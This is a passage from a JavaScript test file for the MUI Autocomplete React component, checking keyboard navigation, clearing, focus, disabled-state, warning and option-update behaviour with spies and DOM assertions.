});\n\n    it('should not focus the input when clicking helper text', async () => {\n      const { user } = render(\n        <Autocomplete\n          options={['one']}\n          renderInput={(params) => <TextField {...params} helperText=\"Some help\" />}\n        />,\n      );\n\n      await user.click(screen.getByText('Some help'));\n      expect(screen.getByRole('combobox')).not.toHaveFocus();\n    });\n\n    it('does not clear the textbox on Escape', () => {\n      const handleChange = spy();\n      render(\n        <Autocomplete\n          onChange={handleChange}\n          open={false}\n          options={['one', 'two']}\n          value=\"one\"\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      fireEvent.keyDown(screen.getByRole('combobox'), { key: 'Escape' });\n\n      expect(handleChange.callCount).to.equal(0);\n    });\n  });\n\n  describe('prop: clearOnEscape', () => {\n    it('should clear on escape', () => {\n      const handleChange = spy();\n      render(\n        <Autocomplete\n          onChange={handleChange}\n          clearOnEscape\n          multiple\n          value={['one']}\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      fireEvent.keyDown(screen.getByRole('combobox'), { key: 'Escape' });\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.deep.equal([]);\n    });\n\n    it('should clear on escape if rendering single value', () => {\n      const handleChange = spy();\n      render(\n        <Autocomplete\n          onChange={handleChange}\n          clearOnEscape\n          value=\"one\"\n          options={['one', 'two']}\n          renderValue={(value, getItemProps) => {\n            return <Chip label={value} {...getItemProps()} />;\n          }}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      fireEvent.keyDown(screen.getByRole('combobox'), { key: 'Escape' });\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.deep.equal(null);\n      expect(handleChange.args[0][2]).to.deep.equal('clear');\n    });\n  });\n\n  describe('prop: clearOnBlur', () => {\n    it('should clear on blur', () => {\n      render(\n        <Autocomplete\n          clearOnBlur\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      fireEvent.change(textbox, { target: { value: 'test' } });\n      expect(document.activeElement.value).to.equal('test');\n      act(() => {\n        textbox.blur();\n      });\n      expect(textbox.value).to.equal('');\n    });\n\n    it('should not clear on blur', () => {\n      render(\n        <Autocomplete\n          clearOnBlur={false}\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      fireEvent.change(textbox, { target: { value: 'test' } });\n      expect(document.activeElement.value).to.equal('test');\n      act(() => {\n        textbox.blur();\n      });\n      expect(textbox.value).to.equal('test');\n    });\n\n    it('should not clear on blur with `multiple` enabled', () => {\n      render(\n        <Autocomplete\n          multiple\n          clearOnBlur={false}\n          options={['one', 'two']}\n          defaultValue={['one']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      fireEvent.change(textbox, { target: { value: 'test' } });\n      expect(document.activeElement.value).to.equal('test');\n      act(() => {\n        textbox.blur();\n      });\n      expect(textbox.value).to.equal('test');\n    });\n  });\n\n  describe('when popup open', () => {\n    it('closes the popup if Escape is pressed', () => {\n      const handleClose = spy();\n      render(\n        <Autocomplete\n          onClose={handleClose}\n          open\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      fireEvent.keyDown(screen.getByRole('combobox'), { key: 'Escape' });\n      expect(handleClose.callCount).to.equal(1);\n    });\n\n    it('does not close the popup when option selected if Control is pressed', () => {\n      const handleClose = spy();\n      render(\n        <Autocomplete\n          onClose={handleClose}\n          open\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const options = screen.getAllByRole('option');\n      fireEvent.click(options[0], { ctrlKey: true });\n      expect(handleClose.callCount).to.equal(0);\n    });\n\n    it('does not close the popup when option selected if Meta is pressed', () => {\n      const handleClose = spy();\n      render(\n        <Autocomplete\n          onClose={handleClose}\n          open\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const options = screen.getAllByRole('option');\n      fireEvent.click(options[0], { metaKey: true });\n      expect(handleClose.callCount).to.equal(0);\n    });\n\n    it('moves focus to the first option on ArrowDown', () => {\n      render(\n        <Autocomplete\n          open\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      fireEvent.keyDown(screen.getByRole('combobox'), { key: 'ArrowDown' });\n      expect(screen.getByRole('combobox')).to.have.attribute(\n        'aria-activedescendant',\n        screen.getAllByRole('option')[0].getAttribute('id'),\n      );\n    });\n\n    it('moves focus to the last option on ArrowUp', () => {\n      render(\n        <Autocomplete\n          open\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      fireEvent.keyDown(screen.getByRole('combobox'), { key: 'ArrowUp' });\n      const options = screen.getAllByRole('option');\n      expect(screen.getByRole('combobox')).to.have.attribute(\n        'aria-activedescendant',\n        options[options.length - 1].getAttribute('id'),\n      );\n    });\n\n    it('should ignore keydown event until the IME is confirmed', function test() {\n      // TODO: Often times out in Firefox 78.\n      // Is this slow because of testing-library or because of the implementation?\n      this?.timeout?.(4000);\n\n      render(\n        <Autocomplete\n          open\n          options={['가1', '가2']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      const listbox = screen.getByRole('listbox');\n      // Actual Behavior when \"가\" (Korean) is entered and press the arrow down key once on macOS/Chrome\n      fireEvent.change(textbox, { target: { value: '가' } });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown', keyCode: 229 });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown', keyCode: 40 });\n\n      checkHighlightIs(listbox, '가1');\n    });\n  });\n\n  describe('prop: openOnFocus', () => {\n    it('enables open on input focus', () => {\n      render(\n        <Autocomplete\n          options={['one', 'two', 'three']}\n          openOnFocus\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      expect(textbox).to.have.attribute('aria-expanded', 'true');\n      expect(textbox).toHaveFocus();\n\n      fireEvent.mouseDown(textbox);\n      fireEvent.click(textbox);\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n\n      act(() => {\n        document.activeElement.blur();\n      });\n\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n      expect(textbox).not.toHaveFocus();\n\n      fireEvent.mouseDown(textbox);\n      fireEvent.click(textbox);\n      expect(textbox).to.have.attribute('aria-expanded', 'true');\n      expect(textbox).toHaveFocus();\n\n      fireEvent.mouseDown(textbox);\n      fireEvent.click(textbox);\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n    });\n\n    it('does not reopen when window focus is regained', () => {\n      render(\n        <Autocomplete\n          options={['one', 'two', 'three']}\n          openOnFocus\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      expect(textbox).to.have.attribute('aria-expanded', 'true');\n\n      act(() => {\n        document.activeElement.blur();\n      });\n      fireEvent.blur(window);\n\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n\n      fireEvent.focus(textbox);\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n\n      act(() => {\n        document.activeElement.blur();\n      });\n\n      fireEvent.focus(textbox);\n      expect(textbox).to.have.attribute('aria-expanded', 'true');\n    });\n  });\n\n  describe('listbox wrapping behavior', () => {\n    it('wraps around when navigating the list by default', () => {\n      render(\n        <Autocomplete\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'ArrowUp' });\n\n      const options = screen.getAllByRole('option');\n      expect(textbox).toHaveFocus();\n      expect(textbox).to.have.attribute(\n        'aria-activedescendant',\n        options[options.length - 1].getAttribute('id'),\n      );\n    });\n\n    it('selects the first item if on the last item and pressing up by default', () => {\n      render(\n        <Autocomplete\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowUp' });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n\n      const options = screen.getAllByRole('option');\n      expect(textbox).toHaveFocus();\n      expect(textbox).to.have.attribute('aria-activedescendant', options[0].getAttribute('id'));\n    });\n\n    describe('prop: includeInputInList', () => {\n      it('considers the textbox the predecessor of the first option when pressing Up', () => {\n        render(\n          <Autocomplete\n            includeInputInList\n            open\n            options={['one', 'two', 'three']}\n            renderInput={(params) => <TextField {...params} autoFocus />}\n          />,\n        );\n        const textbox = screen.getByRole('combobox');\n\n        fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n        fireEvent.keyDown(textbox, { key: 'ArrowUp' });\n\n        expect(textbox).toHaveFocus();\n        expect(textbox).not.to.have.attribute('aria-activedescendant');\n      });\n\n      it('considers the textbox the successor of the last option when pressing Down', () => {\n        render(\n          <Autocomplete\n            includeInputInList\n            open\n            options={['one', 'two', 'three']}\n            renderInput={(params) => <TextField {...params} autoFocus />}\n          />,\n        );\n        const textbox = screen.getByRole('combobox');\n\n        fireEvent.keyDown(textbox, { key: 'ArrowUp' });\n        fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n\n        expect(textbox).toHaveFocus();\n        expect(textbox).not.to.have.attribute('aria-activedescendant');\n      });\n    });\n\n    describe('prop: disableListWrap', () => {\n      it('keeps focus on the first item if focus is on the first item and pressing Up', () => {\n        render(\n          <Autocomplete\n            disableListWrap\n            open\n            options={['one', 'two', 'three']}\n            renderInput={(params) => <TextField {...params} autoFocus />}\n          />,\n        );\n        const textbox = screen.getByRole('combobox');\n\n        fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n        fireEvent.keyDown(textbox, { key: 'ArrowUp' });\n\n        expect(textbox).toHaveFocus();\n        expect(textbox).to.have.attribute(\n          'aria-activedescendant',\n          screen.getAllByRole('option')[0].getAttribute('id'),\n        );\n      });\n\n      it('focuses the last item when pressing Up when no option is active', () => {\n        render(\n          <Autocomplete\n            disableListWrap\n            open\n            options={['one', 'two', 'three']}\n            renderInput={(params) => <TextField {...params} autoFocus />}\n          />,\n        );\n        const textbox = screen.getByRole('combobox');\n\n        fireEvent.keyDown(textbox, { key: 'ArrowUp' });\n\n        const options = screen.getAllByRole('option');\n        expect(textbox).toHaveFocus();\n        expect(textbox).to.have.attribute(\n          'aria-activedescendant',\n          options[options.length - 1].getAttribute('id'),\n        );\n      });\n\n      it('keeps focus on the last item if focus is on the last item and pressing Down', () => {\n        render(\n          <Autocomplete\n            disableListWrap\n            open\n            options={['one', 'two', 'three']}\n            renderInput={(params) => <TextField {...params} autoFocus />}\n          />,\n        );\n        const textbox = screen.getByRole('combobox');\n\n        fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n        fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n        fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n\n        const options = screen.getAllByRole('option');\n        expect(textbox).toHaveFocus();\n        expect(textbox).to.have.attribute(\n          'aria-activedescendant',\n          options[options.length - 1].getAttribute('id'),\n        );\n      });\n    });\n  });\n\n  describe('prop: disabled', () => {\n    it('should disable the input', () => {\n      render(\n        <Autocomplete\n          disabled\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      const input = screen.getByRole('combobox');\n      expect(input).to.have.property('disabled', true);\n    });\n\n    it('should disable the popup button', () => {\n      render(\n        <Autocomplete\n          disabled\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      expect(screen.queryByTitle('Open').disabled).to.equal(true);\n    });\n\n    it('clicks should not toggle the listbox open state when disabled', () => {\n      render(\n        <Autocomplete\n          disabled\n          options={['one', 'two', 'three']}\n          renderInput={(params) => (\n            <TextField\n              {...params}\n              slotProps={{\n                ...params.slotProps,\n                input: { ...params.slotProps.input, 'data-testid': 'test-input-root' },\n              }}\n            />\n          )}\n        />,\n      );\n      const textbox = screen.queryByRole('combobox');\n      const listbox = screen.queryByRole('listbox', { hidden: true });\n\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n      expect(listbox).to.equal(null);\n\n      const inputBase = screen.getByTestId('test-input-root');\n      fireEvent.click(inputBase);\n\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n      expect(listbox).to.equal(null);\n    });\n\n    it('mouseup should not toggle the listbox open state when disabled', async () => {\n      const view = render(\n        <Autocomplete\n          disabled\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n\n      const textbox = screen.queryByRole('combobox');\n      const listbox = screen.queryByRole('listbox', { hidden: true });\n\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n      expect(listbox).to.equal(null);\n\n      // userEvent will fail at releasing MouseLeft if we target the\n      // <button> since it has \"pointer-events: none\"\n      const popupIndicator = view.container.querySelector(`.${classes.endAdornment}`);\n\n      await view.user.pointer([\n        // this sequence does not work with fireEvent\n        // 1. point the cursor somewhere in the textbox and hold down MouseLeft\n        { keys: '[MouseLeft>]', target: textbox },\n        // 2. move the cursor over the popupIndicator\n        { pointerName: 'mouse', target: popupIndicator },\n        // 3. release MouseLeft\n        { keys: '[/MouseLeft]' },\n      ]);\n\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n      expect(listbox).to.equal(null);\n    });\n\n    it('should not render the clear button', () => {\n      render(\n        <Autocomplete\n          disabled\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      expect(screen.queryByTitle('Clear')).to.equal(null);\n    });\n\n    it('should not apply the hasClearIcon class', () => {\n      const view = render(\n        <Autocomplete\n          disabled\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      expect(view.container.querySelector(`.${classes.root}`)).not.to.have.class(\n        classes.hasClearIcon,\n      );\n      expect(view.container.querySelector(`.${classes.root}`)).to.have.class(classes.hasPopupIcon);\n    });\n\n    it('should close the popup when disabled is true', () => {\n      const view = render(\n        <Autocomplete\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      act(() => {\n        textbox.focus();\n      });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      expect(screen.queryByRole('listbox')).not.to.equal(null);\n      view.setProps({ disabled: true });\n      expect(screen.queryByRole('listbox')).to.equal(null);\n    });\n\n    it('should not crash when autoSelect & freeSolo are set, text is focused & disabled gets truthy', () => {\n      const view = render(\n        <Autocomplete\n          autoSelect\n          freeSolo\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n          value=\"one\"\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      act(() => {\n        textbox.focus();\n      });\n      view.setProps({ disabled: true });\n      expect(textbox).toBeVisible();\n    });\n  });\n\n  describe('prop: disableClearable', () => {\n    it('should not render the clear button', () => {\n      const view = render(\n        <Autocomplete\n          disableClearable\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      expect(screen.queryByTitle('Clear')).to.equal(null);\n      expect(view.container.querySelector(`.${classes.root}`)).to.have.class(classes.hasPopupIcon);\n      expect(view.container.querySelector(`.${classes.root}`)).not.to.have.class(\n        classes.hasClearIcon,\n      );\n    });\n  });\n\n  describe('warnings', () => {\n    beforeEach(() => {\n      PropTypes.resetWarningCache();\n    });\n\n    it('warn if getOptionLabel do not return a string', () => {\n      const handleChange = spy();\n      render(\n        <Autocomplete\n          freeSolo\n          onChange={handleChange}\n          options={[{ name: 'one' }, {}]}\n          getOptionLabel={(option) => option.name}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      expect(() => {\n        fireEvent.change(textbox, { target: { value: 'a' } });\n        fireEvent.keyDown(textbox, { key: 'Enter' });\n      }).toErrorDev([\n        'MUI: The `getOptionLabel` method of Autocomplete returned undefined instead of a string',\n        !strictModeDoubleLoggingSuppressed &&\n          'MUI: The `getOptionLabel` method of Autocomplete returned undefined instead of a string',\n        !strictModeDoubleLoggingSuppressed &&\n          'MUI: The `getOptionLabel` method of Autocomplete returned undefined instead of a string',\n        'MUI: The `getOptionLabel` method of Autocomplete returned undefined instead of a string',\n        'MUI: The `getOptionLabel` method of Autocomplete returned undefined instead of a string',\n        'MUI: The `getOptionLabel` method of Autocomplete returned undefined instead of a string',\n      ]);\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.equal('a');\n    });\n\n    it('warn if isOptionEqualToValue match multiple values for a given option', () => {\n      const value = [\n        { id: '10', text: 'One' },\n        { id: '20', text: 'Two' },\n      ];\n      const options = [\n        { id: '10', text: 'One' },\n        { id: '20', text: 'Two' },\n        { id: '30', text: 'Three' },\n      ];\n\n      render(\n        <Autocomplete\n          multiple\n          options={options}\n          value={value}\n          getOptionLabel={(option) => option.text}\n          isOptionEqualToValue={(option) => value.find((v) => v.id === option.id)}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      expect(() => {\n        fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n        fireEvent.keyDown(textbox, { key: 'Enter' });\n      }).toErrorDev(\n        'The component expects a single value to match a given option but found 2 matches.',\n      );\n    });\n\n    it('warn if groups options are not sorted', () => {\n      const data = [\n        { group: 1, value: 'A' },\n        { group: 2, value: 'D' },\n        { group: 2, value: 'E' },\n        { group: 1, value: 'B' },\n        { group: 3, value: 'G' },\n        { group: 2, value: 'F' },\n        { group: 1, value: 'C' },\n      ];\n      expect(() => {\n        render(\n          <Autocomplete\n            openOnFocus\n            options={data}\n            getOptionLabel={(option) => option.value}\n            renderInput={(params) => <TextField {...params} autoFocus />}\n            groupBy={(option) => option.group}\n          />,\n        );\n        const options = screen.getAllByRole('option').map((el) => el.textContent);\n        expect(options).to.have.length(7);\n        expect(options).to.deep.equal(['A', 'D', 'E', 'B', 'G', 'F', 'C']);\n      }).toWarnDev([\n        'returns duplicated headers',\n        !strictModeDoubleLoggingSuppressed && 'returns duplicated headers',\n      ]);\n    });\n\n    it('warn if the type of the value is wrong', () => {\n      expect(() => {\n        PropTypes.checkPropTypes(\n          Autocomplete.propTypes,\n          { multiple: true, value: null, options: [], renderInput: () => null },\n          'prop',\n          'Autocomplete',\n        );\n      }).toErrorDev(\n        'The Autocomplete expects the `value` prop to be an array when `multiple={true}` or undefined.',\n      );\n    });\n\n    it('warn if the type of the defaultValue is wrong', () => {\n      expect(() => {\n        PropTypes.checkPropTypes(\n          Autocomplete.propTypes,\n          { multiple: true, defaultValue: 'wrong-string', options: [], renderInput: () => null },\n          'prop',\n          'Autocomplete',\n        );\n      }).toErrorDev(\n        'The Autocomplete expects the `defaultValue` prop to be an array when `multiple={true}` or undefined.',\n      );\n    });\n  });\n\n  describe('prop: options', () => {\n    it('should keep focus on selected option and not reset to top option when options updated', () => {\n      const view = render(\n        <Autocomplete\n          open\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      const listbox = screen.getByRole('listbox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // goes to 'one'\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // goes to 'two'\n\n      checkHighlightIs(listbox, 'two');\n\n      // three option is added and autocomplete re-renders, restore the highlight\n      view.setProps({ options: ['one', 'two', 'three'] });\n      checkHighlightIs(listbox, 'two');\n    });\n\n    it('should keep focus when multiple options are selected and not reset to top option when options updated', () => {\n      const view = render(\n        <Autocomplete\n          open\n          multiple\n          defaultValue={['one', 'two']}\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      const listbox = screen.getByRole('listbox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n\n      checkHighlightIs(listbox, 'three');\n\n      // fourth option is added and autocomplete re-renders, restore the highlight\n      view.setProps({ options: ['one', 'two', 'three', 'four'] });\n      checkHighlightIs(listbox, 'three');\n    });\n\n    it('should keep focus when multiple options are selected by not resetting to the top option when options are updated and when options are provided as objects', () => {\n      const view = render(\n        <Autocomplete\n          open\n          multiple\n          defaultValue={[{ label: 'one' }]}\n          isOptionEqualToValue={(option, value) => option.label === value.label}\n          options={[{ label: 'one' }, { label: 'two' }, { label: 'three' }]}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      const listbox = screen.getByRole('listbox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n\n      checkHighlightIs(listbox, 'three');\n\n      // fourth option is added and autocomplete re-renders, restore the highlight\n      view.setProps({\n        options: [{ label: 'one' }, { label: 'two' }, { label: 'three' }, { label: 'four' }],\n      });\n      checkHighlightIs(listbox, 'three');\n    });\n\n    it('should keep focus on selected option when options updates and when options are provided as objects', () => {\n      const view = render(\n        <Autocomplete\n          open\n          options={[{ label: 'one' }, { label: 'two' }]}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      const listbox = screen.getByRole('listbox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // goes to 'one'\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // goes to 'two'\n\n      checkHighlightIs(listbox, 'two');\n\n      // zero and three options are added and autocomplete re-renders, restore the highlight\n      view.setProps({\n        options: [{ label: 'zero' }, { label: 'one' }, { label: 'two' }, { label: 'three' }],\n      });\n      checkHighlightIs(listbox, 'two');\n\n      // check that the highlighted option is still in sync with the internal highlighted index\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // goes to 'three'\n      checkHighlightIs(listbox, 'three');\n    });\n\n    it('should reset the highlight when the input changed', () => {\n      const filterOptions = createFilterOptions({});\n      render(\n        <Autocomplete\n          open\n          autoFocus\n          autoHighlight\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          filterOptions={filterOptions}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      const listbox = screen.getByRole('listbox');\n\n      fireEvent.change(textbox, { target: { value: 't' } });\n      checkHighlightIs(listbox, 'two');\n\n      fireEvent.change(textbox, { target: { value: '' } });\n      checkHighlightIs(listbox, 'one');\n\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n      expect(textbox).has.value('one');\n    });\n\n    it(\"should reset the highlight when previously highlighted option doesn't exists in new options\", () => {\n      const view = render(\n        <Autocomplete\n          open\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      const listbox = screen.getByRole('listbox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // goes to 'one'\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // goes to 'two'\n\n      checkHighlightIs(listbox, 'two');\n\n      // Options are updated and autocomplete re-renders; reset the highlight since two doesn't exist in the new options.\n      view.setProps({ options: ['one', 'three', 'four'] });\n      checkHighlightIs(listbox, null);\n    });\n\n    it('should not select undefined', () => {\n      const handleChange = spy();\n      render(\n        <Autocomplete\n          onChange={handleChange}\n          openOnFocus\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      const input = screen.getByRole('combobox');\n      fireEvent.click(input);\n\n      const listbox = screen.getByRole('listbox');\n      const firstOption = listbox.querySelector('li');\n      fireEvent.click(firstOption);\n\n      expect(handleChange.args[0][1]).to.equal('one');\n    });\n\n    it('should work if options are the default data structure', () => {\n      const options = [\n        {\n          label: 'one',\n        },\n      ];\n      const handleChange = spy();\n      render(\n        <Autocomplete\n          onChange={handleChange}\n          openOnFocus\n          options={options}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n\n      const input = screen.getByRole('combobox');\n      fireEvent.click(input);\n\n      const listbox = screen.getByRole('listbox');\n      const htmlOptions = listbox.querySelectorAll('li');\n\n      expect(htmlOptions[0].innerHTML).to.equal('one');\n    });\n\n    it(\"should display a 'no options' message if no options are available\", () => {\n      render(\n        <Autocomplete open options={[]} renderInput={(params) => <TextField {...params} />} />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n      expect(textbox).not.to.have.attribute('aria-controls');\n      expect(document.querySelector(`.${classes.paper}`)).to.have.text('No options');\n    });\n  });\n\n  describe('enter', () => {\n    it('select a single value when enter is pressed', () => {\n      const handleChange = spy();\n      render(\n        <Autocomplete\n          onChange={handleChange}\n          openOnFocus\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.equal('one');\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n      expect(handleChange.callCount).to.equal(1);\n    });\n\n    it('select multiple value when enter is pressed', () => {\n      const handleChange = spy();\n      const options = [{ name: 'one' }, { name: 'two ' }];\n      render(\n        <Autocomplete\n          multiple\n          onChange={handleChange}\n          openOnFocus\n          options={options}\n          getOptionLabel={(option) => option.name}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.deep.equal([options[0]]);\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n      expect(handleChange.callCount).to.equal(1);\n    });\n  });\n\n  describe('prop: autoComplete', () => {\n    it('add a completion string', () => {\n      render(\n        <Autocomplete\n          autoComplete\n          openOnFocus\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.change(document.activeElement, { target: { value: 'O' } });\n\n      expect(document.activeElement.value).to.equal('O');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n\n      expect(document.activeElement.value).to.equal('one');\n      expect(document.activeElement.selectionStart).to.equal(1);\n      expect(document.activeElement.selectionEnd).to.equal(3);\n\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n\n      expect(document.activeElement.value).to.equal('one');\n      expect(document.activeElement.selectionStart).to.equal(3);\n      expect(document.activeElement.selectionEnd).to.equal(3);\n    });\n  });\n\n  describe('click input', () => {\n    it('when `openOnFocus` toggles if empty', () => {\n      render(\n        <Autocomplete\n          openOnFocus\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n      fireEvent.mouseDown(textbox);\n      expect(textbox).to.have.attribute('aria-expanded', 'true');\n      fireEvent.mouseDown(textbox);\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n    });\n\n    it('selects all the first time', () => {\n      render(\n        <Autocomplete\n          value=\"one\"\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      fireEvent.click(textbox);\n      expect(textbox.selectionStart).to.equal(0);\n      expect(textbox.selectionEnd).to.equal(3);\n    });\n\n    it('should focus the input when clicking on the open action', () => {\n      render(\n        <Autocomplete\n          value=\"one\"\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n      fireEvent.click(textbox);\n      expect(textbox).toHaveFocus();\n\n      act(() => {\n        textbox.blur();\n      });\n      fireEvent.click(screen.queryByTitle('Open'));\n\n      expect(textbox).toHaveFocus();\n    });\n\n    it('should maintain list box open clicking on input when it is not empty', () => {\n      render(\n        <Autocomplete options={['one']} renderInput={(params) => <TextField {...params} />} />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n      fireEvent.mouseDown(textbox); // Open listbox\n      expect(textbox).to.have.attribute('aria-expanded', 'true');\n      const options = screen.getAllByRole('option');\n      fireEvent.click(options[0]);\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n      fireEvent.mouseDown(textbox); // Open listbox\n      expect(textbox).to.have.attribute('aria-expanded', 'true');\n      fireEvent.mouseDown(textbox); // Remain open listbox\n      expect(textbox).to.have.attribute('aria-expanded', 'true');\n    });\n\n    it('should not toggle list box', () => {\n      render(\n        <Autocomplete\n          value=\"one\"\n          options={['one']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n      fireEvent.mouseDown(textbox);\n      expect(textbox).to.have.attribute('aria-expanded', 'true');\n      fireEvent.mouseDown(textbox);\n      expect(textbox).to.have.attribute('aria-expanded', 'true');\n    });\n\n    it('should not focus when tooltip clicked', () => {\n      render(\n        <Autocomplete\n          options={['one', 'two', 